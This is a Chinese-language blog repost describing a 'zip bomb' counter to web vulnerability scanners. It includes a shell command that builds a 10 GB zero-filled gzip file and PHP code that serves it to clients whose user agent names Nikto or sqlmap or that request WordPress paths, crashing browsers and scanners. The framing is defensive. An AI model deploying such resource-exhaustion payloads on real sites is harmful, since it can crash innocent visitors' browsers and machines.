本文讲的是
ZIP炸弹怎样反击扫描器?,
如果你曾经维护一个网站或管理过服务器,那么你会清楚,总会人会尝试攻击你。当我在13岁时首次托管我自己的linux服务器时,我每天阅读日志,并查看每天有多少尝试连接到linux服务器(实际上是一个老的ThinkPad T21)的IP(主要来自中国和俄罗斯)。
实际上如果你有一个linux服务器,SSH是开放模式,你可以看到每天有多少连接尝试:
grep 'authentication failures' /var/log/auth.log
即使此服务器已禁用密码身份验证并在非标准端口上运行,仍有数百次失败的登录尝试。
Wordpress重灾区
由于WP被广泛使用,大多数扫描器会扫描一些配置错误的wp-admin文件夹或未打补丁的插件。如果一个小的,新的黑客团体希望获得一些热点名气,他们会下载wpscan、nikto、Grabber等扫描工具,开始对许多网站的测试进行漏洞扫描。
使用工具Nikto进行扫描时日志文件的示例
有没有办法反击?
部署IDS或Fail2ban的,但是我还有一个方法就是zip炸弹
ZIP炸弹怎么样反击扫描器?
网络浏览器不认识ZIP,但他们认识GZIP。所以我们首先要创建一个填满零的10千兆字节的GZIP文件。我们可以进行多次压缩。
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
创建炸弹并检查其大小
你可以看到它是10 MB大。
现在我们已经创建了这个东西,让我们设置一个PHP脚本,把它传递给一个客户端。
<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip')
所以我们可以用这个简单的防御方式:
<?php
$agent = lower($_SERVER['HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($haystack,$needle){
return (substr($haystack,0,strlen($needle)) === $needle);
}
SO,调用脚本时会发生什么?
Edge 内存上升,然后永远在加载中
IE 11 内存上升,IE奔溃
Chrome 内存上升,显示错误
Nikto 一直扫描,但是无扫描报告
SQLmap 高内存使用到奔溃
在Chrome中调用脚本的反应
原文发布时间为:2017年7月12日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。